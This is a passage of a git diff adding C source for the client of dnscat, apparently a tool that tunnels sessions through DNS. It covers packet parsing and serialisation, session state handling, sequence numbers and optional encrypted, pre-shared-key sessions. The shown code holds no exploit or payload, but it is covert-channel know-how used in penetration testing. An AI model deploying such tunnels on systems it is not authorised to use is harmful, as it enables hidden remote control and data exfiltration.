length); +uint8_t *controller_get_outgoing(size_t *length, size_t max_length); +void controller_kill_all_sessions(); +void controller_destroy(); +void controller_heartbeat(); +void controller_set_max_retransmits(int retransmits); + +#endif diff --git a/client/controller/packet.c b/client/controller/packet.c new file mode 100644 index 0000000..b6ec7ca --- /dev/null +++ b/client/controller/packet.c @@ -0,0 +1,440 @@ +/* packet.c + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include +#include + +#ifdef WIN32 +#include "libs/pstdint.h" +#else +#include +#endif + +#include "libs/buffer.h" +#include "libs/log.h" +#include "libs/memory.h" + +#include "packet.h" + +packet_t *packet_parse(uint8_t *data, size_t length, options_t options) +{ + packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t)); + buffer_t *buffer = buffer_create_with_data(BO_BIG_ENDIAN, data, length); + + /* Validate the size */ + if(buffer_get_length(buffer) > MAX_PACKET_SIZE) + { + LOG_FATAL("Packet is too long: %zu bytes\n", buffer_get_length(buffer)); + exit(1); + } + + packet->packet_id = buffer_read_next_int16(buffer); + packet->packet_type = (packet_type_t) buffer_read_next_int8(buffer); + packet->session_id = buffer_read_next_int16(buffer); + + switch(packet->packet_type) + { + case PACKET_TYPE_SYN: + packet->body.syn.seq = buffer_read_next_int16(buffer); + packet->body.syn.options = buffer_read_next_int16(buffer); + if(packet->body.syn.options & OPT_NAME) + packet->body.syn.name = buffer_alloc_next_ntstring(buffer); + break; + + case PACKET_TYPE_MSG: + packet->body.msg.seq = buffer_read_next_int16(buffer); + packet->body.msg.ack = buffer_read_next_int16(buffer); + packet->body.msg.data = buffer_read_remaining_bytes(buffer, &packet->body.msg.data_length, -1, FALSE); + break; + + case PACKET_TYPE_FIN: + packet->body.fin.reason = buffer_alloc_next_ntstring(buffer); + break; + + case PACKET_TYPE_PING: + packet->body.ping.data = buffer_alloc_next_ntstring(buffer); + break; + +#ifndef NO_ENCRYPTION + case PACKET_TYPE_ENC: + packet->body.enc.subtype = buffer_read_next_int16(buffer); + packet->body.enc.flags = buffer_read_next_int16(buffer); + + switch(packet->body.enc.subtype) + { + case PACKET_ENC_SUBTYPE_INIT: + buffer_read_next_bytes(buffer, packet->body.enc.public_key, 64); + break; + case PACKET_ENC_SUBTYPE_AUTH: + buffer_read_next_bytes(buffer, packet->body.enc.authenticator, 32); + break; + } + break; +#endif + + default: + LOG_FATAL("Error: unknown message type (0x%02x)\n", packet->packet_type); + exit(0); + } + + buffer_destroy(buffer); + + return packet; +} + +uint16_t packet_peek_session_id(uint8_t *data, size_t length) +{ + buffer_t *buffer = NULL; + uint16_t session_id = -1; + + /* Create a buffer of the first 5 bytes. */ + if(length < 5) + { + LOG_FATAL("Packet is too short!\n"); + return -1; + } + + /* Create a buffer with the first 5 bytes of data. */ + buffer = buffer_create_with_data(BO_BIG_ENDIAN, data, 5); + + /* Discard packet_id. */ + buffer_consume(buffer, 2); + + /* Discard packet_type. */ + buffer_consume(buffer, 1); + + /* Finally, get the session_id. */ + session_id = buffer_read_next_int16(buffer); + + /* Kill the buffer. */ + buffer_destroy(buffer); + + /* Done! */ + return session_id; +} + +packet_t *packet_create_syn(uint16_t session_id, uint16_t seq, options_t options) +{ + packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t)); + + packet->packet_type = PACKET_TYPE_SYN; + packet->packet_id = rand() % 0xFFFF; + packet->session_id = session_id; + packet->body.syn.seq = seq; + packet->body.syn.options = options; + + return packet; +} + +void packet_syn_set_name(packet_t *packet, char *name) +{ + if(packet->packet_type != PACKET_TYPE_SYN) + { + LOG_FATAL("Attempted to set the 'name' field of a non-SYN message\n"); + exit(1); + } + + /* Free the name if it's already set */ + if(packet->body.syn.name) + safe_free(packet->body.syn.name); + + packet->body.syn.options |= OPT_NAME; + packet->body.syn.name = safe_strdup(name); +} + +void packet_syn_set_is_command(packet_t *packet) +{ + if(packet->packet_type != PACKET_TYPE_SYN) + { + LOG_FATAL("Attempted to set the 'is_command' field of a non-SYN message\n"); + exit(1); + } + + /* Just set the field, we don't need anything else. */ + packet->body.syn.options |= OPT_COMMAND; +} + +packet_t *packet_create_msg(uint16_t session_id, uint16_t seq, uint16_t ack, uint8_t *data, size_t data_length) +{ + packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t)); + + packet->packet_type = PACKET_TYPE_MSG; + packet->packet_id = rand() % 0xFFFF; + packet->session_id = session_id; + packet->body.msg.seq = seq; + packet->body.msg.ack = ack; + packet->body.msg.data = safe_memcpy(data, data_length); + packet->body.msg.data_length = data_length; + + return packet; +} + +packet_t *packet_create_fin(uint16_t session_id, char *reason) +{ + packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t)); + + packet->packet_type = PACKET_TYPE_FIN; + packet->packet_id = rand() % 0xFFFF; + packet->session_id = session_id; + packet->body.fin.reason = safe_strdup(reason); + + return packet; +} + +packet_t *packet_create_ping(uint16_t session_id, char *data) +{ + packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t)); + + packet->packet_type = PACKET_TYPE_PING; + packet->packet_id = rand() % 0xFFFF; + packet->session_id = session_id; + packet->body.ping.data = safe_strdup(data); + + return packet; +} + +#ifndef NO_ENCRYPTION +packet_t *packet_create_enc(uint16_t session_id, uint16_t flags) +{ + packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t)); + + packet->packet_type = PACKET_TYPE_ENC; + packet->packet_id = rand() % 0xFFFF; + packet->session_id = session_id; + packet->body.enc.subtype = -1; + + return packet; +} + +void packet_enc_set_init(packet_t *packet, uint8_t *public_key) +{ + if(packet->packet_type != PACKET_TYPE_ENC) + { + LOG_FATAL("Attempted to set encryption options for a non-ENC message\n"); + exit(1); + } + + packet->body.enc.subtype = PACKET_ENC_SUBTYPE_INIT; + memcpy(packet->body.enc.public_key, public_key, 64); +} + +void packet_enc_set_auth(packet_t *packet, uint8_t *authenticator) +{ + if(packet->packet_type != PACKET_TYPE_ENC) + { + LOG_FATAL("Attempted to set encryption options for a non-ENC message\n"); + exit(1); + } + + packet->body.enc.subtype = PACKET_ENC_SUBTYPE_AUTH; + memcpy(packet->body.enc.authenticator, authenticator, 32); +} +#endif + +size_t packet_get_msg_size(options_t options) +{ + static size_t size = 0; + + /* If the size isn't known yet, calculate it. */ + if(size == 0) + { + packet_t *p; + + p = packet_create_msg(0, 0, 0, (uint8_t *)"", 0); + safe_free(packet_to_bytes(p, &size, options)); + packet_destroy(p); + } + + return size; +} + +size_t packet_get_ping_size() +{ + static size_t size = 0; + + /* If the size isn't known yet, calculate it. */ + if(size == 0) + { + packet_t *p = packet_create_ping(0, ""); + uint8_t *data = packet_to_bytes(p, &size, (options_t)0); + safe_free(data); + packet_destroy(p); + } + + return size; +} + +/* TODO: This is a little hacky - converting it to a bytestream and back to + * clone - but it's by far the easiest way! */ +packet_t *packet_clone(packet_t *packet, options_t options) +{ + uint8_t *packet_bytes = NULL; + size_t packet_length = -1; + packet_t *result; + + packet_bytes = packet_to_bytes(packet, &packet_length, options); + result = packet_parse(packet_bytes, packet_length, options); + safe_free(packet_bytes); + return result; +} + +uint8_t *packet_to_bytes(packet_t *packet, size_t *length, options_t options) +{ + buffer_t *buffer = buffer_create(BO_BIG_ENDIAN); + + buffer_add_int16(buffer, packet->packet_id); + buffer_add_int8(buffer, packet->packet_type); + buffer_add_int16(buffer, packet->session_id); + + switch(packet->packet_type) + { + case PACKET_TYPE_SYN: + buffer_add_int16(buffer, packet->body.syn.seq); + buffer_add_int16(buffer, packet->body.syn.options); + + if(packet->body.syn.options & OPT_NAME) + buffer_add_ntstring(buffer, packet->body.syn.name); + + break; + + case PACKET_TYPE_MSG: + buffer_add_int16(buffer, packet->body.msg.seq); + buffer_add_int16(buffer, packet->body.msg.ack); + buffer_add_bytes(buffer, packet->body.msg.data, packet->body.msg.data_length); + break; + + case PACKET_TYPE_FIN: + buffer_add_ntstring(buffer, packet->body.fin.reason); + break; + + case PACKET_TYPE_PING: + buffer_add_ntstring(buffer, packet->body.ping.data); + break; + +#ifndef NO_ENCRYPTION + case PACKET_TYPE_ENC: + buffer_add_int16(buffer, packet->body.enc.subtype); + buffer_add_int16(buffer, packet->body.enc.flags); + + if(packet->body.enc.subtype == PACKET_ENC_SUBTYPE_INIT) + { + buffer_add_bytes(buffer, packet->body.enc.public_key, 64); + } + else if(packet->body.enc.subtype == PACKET_ENC_SUBTYPE_AUTH) + { + buffer_add_bytes(buffer, packet->body.enc.authenticator, 32); + } + else if(packet->body.enc.subtype == -1) + { + LOG_FATAL("Error: One of the packet_enc_set_*() functions have to be called!"); + exit(1); + } + else + { + LOG_FATAL("Error: Unknown encryption subtype: 0x%04x", packet->body.enc.subtype); + exit(1); + } + break; +#endif + + default: + LOG_FATAL("Error: Unknown message type: %u\n", packet->packet_type); + exit(1); + } + + return buffer_create_string_and_destroy(buffer, length); +} + +void packet_print(packet_t *packet, options_t options) +{ + if(packet->packet_type == PACKET_TYPE_SYN) + { + printf("Type = SYN :: [0x%04x] session = 0x%04x, seq = 0x%04x, options = 0x%04x", packet->packet_id, packet->session_id, packet->body.syn.seq, packet->body.syn.options); + } + else if(packet->packet_type == PACKET_TYPE_MSG) + { + printf("Type = MSG :: [0x%04x] session = 0x%04x, seq = 0x%04x, ack = 0x%04x, data = 0x%x bytes", packet->packet_id, packet->session_id, packet->body.msg.seq, packet->body.msg.ack, (unsigned int)packet->body.msg.data_length); + } + else if(packet->packet_type == PACKET_TYPE_FIN) + { + printf("Type = FIN :: [0x%04x] session = 0x%04x :: %s", packet->packet_id, packet->session_id, packet->body.fin.reason); + } + else if(packet->packet_type == PACKET_TYPE_PING) + { + printf("Type = PING :: [0x%04x] data = %s", packet->packet_id, packet->body.ping.data); + } +#ifndef NO_ENCRYPTION + else if(packet->packet_type == PACKET_TYPE_ENC) + { + printf("Type = ENC :: [0x%04x] session = 0x%04x", packet->packet_id, packet->session_id); + } +#endif + else + { + printf("Unknown packet type!"); + } +} + +void packet_destroy(packet_t *packet) +{ + if(packet->packet_type == PACKET_TYPE_SYN) + { + if(packet->body.syn.name) + safe_free(packet->body.syn.name); + } + + if(packet->packet_type == PACKET_TYPE_MSG) + { + if(packet->body.msg.data) + safe_free(packet->body.msg.data); + } + + if(packet->packet_type == PACKET_TYPE_FIN) + { + if(packet->body.fin.reason) + safe_free(packet->body.fin.reason); + } + + if(packet->packet_type == PACKET_TYPE_PING) + { + if(packet->body.ping.data) + safe_free(packet->body.ping.data); + } + +#ifndef NO_ENCRYPTION + if(packet->packet_type == PACKET_TYPE_ENC) + { + /* Nothing was allocated. */ + } +#endif + + safe_free(packet); +} + +char *packet_type_to_string(packet_type_t type) +{ + switch(type) + { + case PACKET_TYPE_SYN: + return "SYN"; + case PACKET_TYPE_MSG: + return "MSG"; + case PACKET_TYPE_FIN: + return "FIN"; + case PACKET_TYPE_PING: + return "PING"; +#ifndef NO_ENCRYPTION + case PACKET_TYPE_ENC: + return "ENC"; +#endif + case PACKET_TYPE_COUNT_NOT_PING: + return "Unknown!"; + } + + return "Unknown"; +} diff --git a/client/controller/packet.h b/client/controller/packet.h new file mode 100644 index 0000000..e96f05c --- /dev/null +++ b/client/controller/packet.h @@ -0,0 +1,164 @@ +/* packet.h + * By Ron Bowes + * Created March, 2013 + * + * See LICENSE.md + * + * A class for creating and parsing dnscat packets. This is part of the + * "dnscat protocol", it's assumed that the packets are already marshalled + * and unmarshalled by a tunnelling protocol. + */ + +#ifndef __PACKET_H__ +#define __PACKET_H__ + +#include + +#ifdef WIN32 +#include "libs/pstdint.h" +#else +#include +#endif + +#define MAX_PACKET_SIZE 1024 + +typedef enum +{ + PACKET_TYPE_SYN = 0x00, + PACKET_TYPE_MSG = 0x01, + PACKET_TYPE_FIN = 0x02, +#ifndef NO_ENCRYPTION + PACKET_TYPE_ENC = 0x03, +#endif + PACKET_TYPE_COUNT_NOT_PING, + + PACKET_TYPE_PING = 0xFF, + +} packet_type_t; + +char *packet_type_to_string(packet_type_t type); + +typedef enum +{ + PACKET_ENC_SUBTYPE_INIT = 0x00, + PACKET_ENC_SUBTYPE_AUTH = 0x01, +} packet_enc_subtype_t; + +typedef struct +{ + uint16_t seq; + uint16_t options; + char *name; +} syn_packet_t; + +typedef enum +{ + OPT_NAME = 0x0001, + /* OPT_TUNNEL = 2, // Deprecated */ + /* OPT_DATAGRAM = 4, // Deprecated */ + /* OPT_DOWNLOAD = 8, // Deprecated */ + /* OPT_CHUNKED_DOWNLOAD = 16, // Deprecated */ + OPT_COMMAND = 0x0020, +} options_t; + +typedef struct +{ + uint16_t seq; + uint16_t ack; +} normal_msg_t; + +typedef struct +{ + uint16_t seq; + uint16_t ack; + uint8_t *data; + size_t data_length; +} msg_packet_t; + +typedef struct +{ + char *reason; +} fin_packet_t; + +typedef struct +{ + char *data; +} ping_packet_t; + +#ifndef NO_ENCRYPTION +typedef struct +{ + packet_enc_subtype_t subtype; + uint16_t flags; + + uint8_t public_key[64]; + + uint8_t authenticator[32]; +} enc_packet_t; +#endif + +typedef struct +{ + uint16_t packet_id; + packet_type_t packet_type; + uint16_t session_id; + + union + { + syn_packet_t syn; + msg_packet_t msg; + fin_packet_t fin; + ping_packet_t ping; +#ifndef NO_ENCRYPTION + enc_packet_t enc; +#endif + } body; +} packet_t; + +/* Parse a packet from a byte stream. */ +packet_t *packet_parse(uint8_t *data, size_t length, options_t options); + +/* Just get the session_id. */ +uint16_t packet_peek_session_id(uint8_t *data, size_t length); + +/* Create a packet with the given characteristics. */ +packet_t *packet_create_syn(uint16_t session_id, uint16_t seq, options_t options); +packet_t *packet_create_msg(uint16_t session_id, uint16_t seq, uint16_t ack, uint8_t *data, size_t data_length); +packet_t *packet_create_fin(uint16_t session_id, char *reason); +packet_t *packet_create_ping(uint16_t session_id, char *data); + +#ifndef NO_ENCRYPTION +packet_t *packet_create_enc(uint16_t session_id, uint16_t flags); +#endif + +/* Set the OPT_NAME field and add a name value. */ +void packet_syn_set_name(packet_t *packet, char *name); + +/* Set the OPT_COMMAND flag */ +void packet_syn_set_is_command(packet_t *packet); + +#ifndef NO_ENCRYPTION +/* Set up an encrypted session. */ +void packet_enc_set_init(packet_t *packet, uint8_t *public_key); + +/* Authenticate with a PSK. */ +void packet_enc_set_auth(packet_t *packet, uint8_t *authenticator); +#endif + +/* Get minimum packet sizes so we can avoid magic numbers. */ +size_t packet_get_msg_size(options_t options); +size_t packet_get_ping_size(); + +/* Free the packet data structures. */ +void packet_destroy(packet_t *packet); + +/* Print the packet (debugging, mostly) */ +void packet_print(packet_t *packet, options_t options); + +/* Needs to be freed with safe_free() */ +uint8_t *packet_to_bytes(packet_t *packet, size_t *length, options_t options); + +/* Create a new copy of the packet. */ +packet_t *packet_clone(packet_t *packet, options_t options); + +#endif diff --git a/client/controller/session.c b/client/controller/session.c new file mode 100644 index 0000000..a10b891 --- /dev/null +++ b/client/controller/session.c @@ -0,0 +1,764 @@ +/* session.c + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include +#include + +#ifndef WIN32 +#include +#include +#endif + +#include "controller/packet.h" +#include "libs/buffer.h" +#include "libs/log.h" +#include "libs/memory.h" +#include "libs/select_group.h" + +#ifndef NO_ENCRYPTION +#include "libs/crypto/encryptor.h" +#endif + +#include "session.h" + +/* Allow the user to override the initial sequence number. */ +static uint32_t isn = 0xFFFFFFFF; + +/* Enable/disable packet tracing. */ +static NBBOOL packet_trace; + +/* The amount of delay between packets. */ +static int packet_delay = 1000; + +/* Transmit instantly when data is received. */ +static NBBOOL transmit_instantly_on_data = TRUE; + +#ifndef NO_ENCRYPTION +/* Should we set up encryption? */ +static NBBOOL do_encryption = TRUE; + +/* Pre-shared secret (used for authentication) */ +static char *preshared_secret = NULL; +#endif + +/* Define a handler function pointer. */ +typedef NBBOOL(packet_handler)(session_t *session, packet_t *packet); + +#ifndef NO_ENCRYPTION +static NBBOOL should_we_encrypt(session_t *session) +{ + return do_encryption && (session->state != SESSION_STATE_BEFORE_INIT); +} +#endif + +static uint64_t time_ms() +{ +#ifdef WIN32 + FILETIME ft; + GetSystemTimeAsFileTime(&ft); + + return ((uint64_t)ft.dwLowDateTime + ((uint64_t)(ft.dwHighDateTime) << 32LL)) / 10000; +#else + struct timeval tv; + gettimeofday(&tv, NULL); + return (tv.tv_sec) * 1000 + (tv.tv_usec) / 1000 ; +#endif +} + +/* Decide whether or not we should transmit data yet. */ +static NBBOOL can_i_transmit_yet(session_t *session) +{ + if(time_ms() - session->last_transmit > packet_delay) + return TRUE; + return FALSE; +} + +static void you_can_transmit_now(session_t *session) +{ + session->last_transmit = 0; +} + +/* Polls the driver for data and puts it in our own buffer. This is necessary + * because the session needs to ACK data and such. */ +static void poll_driver_for_data(session_t *session) +{ + size_t length = -1; + + /* Read all the data we can. */ + uint8_t *data = driver_get_outgoing(session->driver, &length, -1); + + /* If a driver returns NULL, it means it's done - once the driver is + * done and all our data is sent, go into 'shutdown' mode. */ + if(!data) + { + if(buffer_get_remaining_bytes(session->outgoing_buffer) == 0) + session_kill(session); + } + else + { + if(length) + buffer_add_bytes(session->outgoing_buffer, data, length); + + safe_free(data); + } +} + +uint8_t *session_get_outgoing(session_t *session, size_t *packet_length, size_t max_length) +{ + packet_t *packet = NULL; + uint8_t *packet_bytes = NULL; + uint8_t *data = NULL; + size_t data_length = -1; + + /* Suck in any data we can from the driver. */ + poll_driver_for_data(session); + + /* Don't transmit too quickly without receiving anything. */ + if(!can_i_transmit_yet(session)) + return NULL; + +#ifndef NO_ENCRYPTION + /* If we're in encryption mode, we have to save 8 bytes for the encrypted_packet header. */ + if(should_we_encrypt(session)) + { + max_length -= 8; + + if(max_length <= 0) + { + LOG_FATAL("There isn't enough room in this protocol to encrypt packets!"); + exit(1); + } + } +#endif + + /* It's pretty ugly, but I don't see any other way, since ping requires + * special packets we have to handle it separately. */ + if(session->is_ping) + { + /* Read data without consuming it (ie, leave it in the buffer till it's ACKed) */ + data = buffer_read_remaining_bytes(session->outgoing_buffer, &data_length, max_length - packet_get_ping_size(), FALSE); + packet = packet_create_ping(session->id, (char*)data); + safe_free(data); + + LOG_INFO("In PING, sending a PING packet (%zd bytes of data...)", data_length); + } + else + { + switch(session->state) + { +#ifndef NO_ENCRYPTION + case SESSION_STATE_BEFORE_INIT: + packet = packet_create_enc(session->id, 0); + packet_enc_set_init(packet, session->encryptor->my_public_key); + break; + + case SESSION_STATE_BEFORE_AUTH: + packet = packet_create_enc(session->id, 0); + packet_enc_set_auth(packet, session->encryptor->my_authenticator); + break; +#endif + + case SESSION_STATE_NEW: + packet = packet_create_syn(session->id, session->my_seq, (options_t)0); + + if(session->is_command) + packet_syn_set_is_command(packet); + + if(session->name) + packet_syn_set_name(packet, session->name); + + break; + + case SESSION_STATE_ESTABLISHED: + /* Re-negotiate encryption if we have to */ +#ifndef NO_ENCRYPTION + if(should_we_encrypt(session)) + { + if(encryptor_should_we_renegotiate(session->encryptor)) + { + if(session->new_encryptor) + { + LOG_FATAL("The server didn't respond to our re-negotiation request! Waiting..."); + return FALSE; + } + + LOG_WARNING("Wow, this session is old! Time to re-negotiate encryption keys!"); + + /* Create a new encryptor. */ + session->new_encryptor = encryptor_create(preshared_secret); + + packet = packet_create_enc(session->id, 0); + packet_enc_set_init(packet, session->new_encryptor->my_public_key); + + break; + } + } +#endif + /* Read data without consuming it (ie, leave it in the buffer till it's ACKed) */ + data = buffer_read_remaining_bytes(session->outgoing_buffer, &data_length, max_length - packet_get_msg_size(session->options), FALSE); + LOG_INFO("In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0x%04x, ACK = 0x%04x, %zd bytes of data...)", session->my_seq, session->their_seq, data_length); + + if(data_length == 0 && session->is_shutdown) + packet = packet_create_fin(session->id, "Stream closed"); + else + packet = packet_create_msg(session->id, session->my_seq, session->their_seq, data, data_length); + + safe_free(data); + + break; + + default: + LOG_FATAL("Wound up in an unknown state: 0x%x", session->state); + exit(1); + } + } + + if(packet) + { + if(packet_trace) + { + printf("OUTGOING: "); + packet_print(packet, session->options); + printf("\n"); + } + + packet_bytes = packet_to_bytes(packet, packet_length, session->options); + packet_destroy(packet); + +#ifndef NO_ENCRYPTION + if(should_we_encrypt(session)) + { + buffer_t *packet_buffer = buffer_create(BO_BIG_ENDIAN); + + buffer_add_bytes(packet_buffer, packet_bytes, *packet_length); + safe_free(packet_bytes); + + encryptor_encrypt_buffer(session->encryptor, packet_buffer); + encryptor_sign_buffer(session->encryptor, packet_buffer); + + packet_bytes = buffer_create_string_and_destroy(packet_buffer, packet_length); + } +#endif + + session->last_transmit = time_ms(); + session->missed_transmissions++; + } + + return packet_bytes; +} + +#ifndef NO_ENCRYPTION +static NBBOOL _handle_enc_before_init(session_t *session, packet_t *packet) +{ + if(packet->body.enc.subtype != PACKET_ENC_SUBTYPE_INIT) + { + LOG_FATAL("Received an unexpected encryption packet for this state: 0x%04x!", packet->body.enc.subtype); + exit(1); + } + + if(!encryptor_set_their_public_key(session->encryptor, packet->body.enc.public_key)) + { + LOG_FATAL("Failed to calculate a shared secret!"); + exit(1); + } + + if(LOG_LEVEL_INFO >= log_get_min_console_level()) + encryptor_print(session->encryptor); + + if(preshared_secret) + { + session->state = SESSION_STATE_BEFORE_AUTH; + } + else + { + session->state = SESSION_STATE_NEW; + + printf("\n"); + printf("Encrypted session established! For added security, please verify the server also displays this string:\n"); + printf("\n"); + encryptor_print_sas(session->encryptor); + printf("\n"); + } + + return TRUE; +} + +static NBBOOL _handle_enc_renegotiate(session_t *session, packet_t *packet) +{ + if(packet->body.enc.subtype != PACKET_ENC_SUBTYPE_INIT) + { + LOG_FATAL("Received an unexpected encryption packet for this state: 0x%04x!", packet->body.enc.subtype); + exit(1); + } + + if(!session->encryptor) + { + LOG_FATAL("Received an unexpected renegotiation from the server!"); + exit(1); + } + + if(!encryptor_set_their_public_key(session->new_encryptor, packet->body.enc.public_key)) + { + LOG_FATAL("Failed to calculate a shared secret for renegotiation!"); + exit(1); + } + + LOG_WARNING("Server responded to re-negotiation request! Switching to new keys!"); + + /* Kill the old encryptor and replace it with the new one. */ + encryptor_destroy(session->encryptor); + session->encryptor = session->new_encryptor; + session->new_encryptor = NULL; + + if(LOG_LEVEL_INFO >= log_get_min_console_level()) + encryptor_print(session->encryptor); + + return TRUE; +} + +static NBBOOL _handle_enc_before_auth(session_t *session, packet_t *packet) +{ + if(packet->body.enc.subtype != PACKET_ENC_SUBTYPE_AUTH) + { + LOG_FATAL("Received an unexpected encryption packet for this state: 0x%04x!", packet->body.enc.subtype); + exit(1); + } + + /* Check their authenticator. */ + if(memcmp(packet->body.enc.authenticator, session->encryptor->their_authenticator, 32)) + { + LOG_FATAL("Their authenticator was wrong! That likely means something weird is happening on the newtork..."); + exit(1); + } + + printf("\n"); + printf("** Peer verified with pre-shared secret!\n"); + printf("\n"); + + session->state = SESSION_STATE_NEW; + + return TRUE; +} +#endif + +static NBBOOL _handle_syn_new(session_t *session, packet_t *packet) +{ + session->their_seq = packet->body.syn.seq; + session->options = (options_t) packet->body.syn.options; + + /* We can send a response right away */ + you_can_transmit_now(session); + + /* We can reset the transmission counter. */ + session->missed_transmissions = 0; + + /* Update the state. */ + session->state = SESSION_STATE_ESTABLISHED; + + printf("Session established!\n"); + + return TRUE; +} + +static NBBOOL _handle_msg_established(session_t *session, packet_t *packet) +{ + NBBOOL send_right_away = FALSE; + + LOG_INFO("In SESSION_STATE_ESTABLISHED, received a MSG"); + + /* Validate the SEQ */ + if(packet->body.msg.seq == session->their_seq) + { + /* Verify the ACK is sane */ + uint16_t bytes_acked = packet->body.msg.ack - session->my_seq; + + /* If there's still bytes waiting in the buffer.. */ + if(bytes_acked <= buffer_get_remaining_bytes(session->outgoing_buffer)) + { + /* Since we got a valid response back, the connection isn't dying. */ + session->missed_transmissions = 0; + + /* Reset the retransmit counter since we got some valid data. */ + if(bytes_acked > 0) + { + /* Only reset the counter if we want to re-transmit + * right away. */ + if(transmit_instantly_on_data) + { + you_can_transmit_now(session); + session->missed_transmissions = 0; + send_right_away = TRUE; + } + } + + /* Increment their sequence number */ + session->their_seq = (session->their_seq + packet->body.msg.data_length) & 0xFFFF; + + /* Remove the acknowledged data from the buffer */ + buffer_consume(session->outgoing_buffer, bytes_acked); + + /* Increment my sequence number */ + if(bytes_acked != 0) + { + session->my_seq = (session->my_seq + bytes_acked) & 0xFFFF; + } + + /* Print the data, if we received any, and then immediately receive more. */ + if(packet->body.msg.data_length > 0) + { + driver_data_received(session->driver, packet->body.msg.data, packet->body.msg.data_length); + you_can_transmit_now(session); + } + } + else + { + LOG_WARNING("Bad ACK received (%d bytes acked; %d bytes in the buffer)", bytes_acked, buffer_get_remaining_bytes(session->outgoing_buffer)); + } + } + else + { + LOG_WARNING("Bad SEQ received (Expected %d, received %d)", session->their_seq, packet->body.msg.seq); + } + + return send_right_away; +} + +static NBBOOL _handle_fin(session_t *session, packet_t *packet) +{ + LOG_FATAL("Received FIN: (reason: '%s') - closing session", packet->body.fin.reason); + you_can_transmit_now(session); + session->missed_transmissions = 0; + session_kill(session); + + return TRUE; +} + +static NBBOOL _handle_error(session_t *session, packet_t *packet) +{ + LOG_FATAL("Received a %s packet in state %s!", packet_type_to_string(packet->packet_type), session_state_to_string(session->state)); + exit(1); +} + +static NBBOOL _handle_warning(session_t *session, packet_t *packet) +{ + LOG_WARNING("Received a %s packet in state %s; ignoring!", packet_type_to_string(packet->packet_type), session_state_to_string(session->state)); + + return FALSE; +} + +NBBOOL session_data_incoming(session_t *session, uint8_t *data, size_t length) +{ + uint8_t *packet_bytes; + + /* Parse the packet to get the session id */ + packet_t *packet; + + /* Set to TRUE if data was properly ACKed and we should send more right away. */ + NBBOOL send_right_away = FALSE; + + /* Suck in any data we can from the driver. */ + poll_driver_for_data(session); + + /* Make a copy of the data so we can mess around with it. */ + packet_bytes = safe_malloc(length); + memcpy(packet_bytes, data, length); + + /* I no longer want to risk messing with data by accident, so get rid of it. */ + data = NULL; + +#ifndef NO_ENCRYPTION + if(should_we_encrypt(session)) + { + buffer_t *packet_buffer = buffer_create_with_data(BO_BIG_ENDIAN, packet_bytes, length); + safe_free(packet_bytes); + + if(!encryptor_check_signature(session->encryptor, packet_buffer)) + { + LOG_WARNING("Server's signature was wrong! Ignoring!"); + return FALSE; + } + + /* Decrypt the buffer. */ + encryptor_decrypt_buffer(session->encryptor, packet_buffer, NULL); + + /* Switch to the decrypted data. */ + packet_bytes = buffer_create_string_and_destroy(packet_buffer, &length); + } +#endif + + /* Parse the packet. */ + packet = packet_parse(packet_bytes, length, session->options); + + /* Free the memory we allocated. */ + safe_free(packet_bytes); + + /* Print packet data if we're supposed to. */ + if(packet_trace) + { + printf("INCOMING: "); + packet_print(packet, session->options); + printf("\n"); + } + + if(session->is_ping && packet->packet_type == PACKET_TYPE_PING) + { + /* This only returns if the receive is bad. */ + driver_data_received(session->driver, (uint8_t*)packet->body.ping.data, strlen(packet->body.ping.data)); + } + else + { + /* Handlers for the various states / messages */ + packet_handler *handlers[PACKET_TYPE_COUNT_NOT_PING][SESSION_STATE_COUNT]; + +#ifndef NO_ENCRYPTION + handlers[PACKET_TYPE_SYN][SESSION_STATE_BEFORE_INIT] = _handle_error; + handlers[PACKET_TYPE_SYN][SESSION_STATE_BEFORE_AUTH] = _handle_error; +#endif + handlers[PACKET_TYPE_SYN][SESSION_STATE_NEW] = _handle_syn_new; + handlers[PACKET_TYPE_SYN][SESSION_STATE_ESTABLISHED] = _handle_warning; + +#ifndef NO_ENCRYPTION + handlers[PACKET_TYPE_MSG][SESSION_STATE_BEFORE_INIT] = _handle_error; + handlers[PACKET_TYPE_MSG][SESSION_STATE_BEFORE_AUTH] = _handle_error; +#endif + handlers[PACKET_TYPE_MSG][SESSION_STATE_NEW] = _handle_warning; + handlers[PACKET_TYPE_MSG][SESSION_STATE_ESTABLISHED] = _handle_msg_established; + +#ifndef NO_ENCRYPTION + handlers[PACKET_TYPE_FIN][SESSION_STATE_BEFORE_INIT] = _handle_fin; + handlers[PACKET_TYPE_FIN][SESSION_STATE_BEFORE_AUTH] = _handle_fin; +#endif + handlers[PACKET_TYPE_FIN][SESSION_STATE_NEW] = _handle_fin; + handlers[PACKET_TYPE_FIN][SESSION_STATE_ESTABLISHED] = _handle_fin; + +#ifndef NO_ENCRYPTION + handlers[PACKET_TYPE_ENC][SESSION_STATE_BEFORE_INIT] = _handle_enc_before_init; + handlers[PACKET_TYPE_ENC][SESSION_STATE_BEFORE_AUTH] = _handle_enc_before_auth; + handlers[PACKET_TYPE_ENC][SESSION_STATE_NEW] = _handle_error; + handlers[PACKET_TYPE_ENC][SESSION_STATE_ESTABLISHED] = _handle_enc_renegotiate; +#endif + + /* Be extra cautious. */ + if(packet->packet_type < 0 || packet->packet_type >= PACKET_TYPE_COUNT_NOT_PING) + { + LOG_FATAL("Received an illegal packet:"); + packet_print(packet, session->options); + printf("\n"); + exit(1); + } + + if(session->state < 0 || session->state >= SESSION_STATE_COUNT) + { + LOG_FATAL("We ended up in an illegal state: 0x%x", session->state); + } + + send_right_away = handlers[packet->packet_type][session->state](session, packet); + } + + packet_destroy(packet); + + return send_right_away; +} + +void session_kill(session_t *session) +{ + if(session->is_shutdown) + { + LOG_WARNING("Tried to kill a session that's already dead: %d", session->id); + return; + } + + session->is_shutdown = TRUE; + driver_close(session->driver); +} + +void session_destroy(session_t *session) +{ + if(!session->is_shutdown) + session_kill(session); + + if(session->name) + safe_free(session->name); + + if(session->driver) + driver_destroy(session->driver); + + if(session->outgoing_buffer) + buffer_destroy(session->outgoing_buffer); + +#ifndef NO_ENCRYPTION + if(session->encryptor) + encryptor_destroy(session->encryptor); +#endif + + safe_free(session); +} + +static char *get_name(char *base) +{ + /* This code 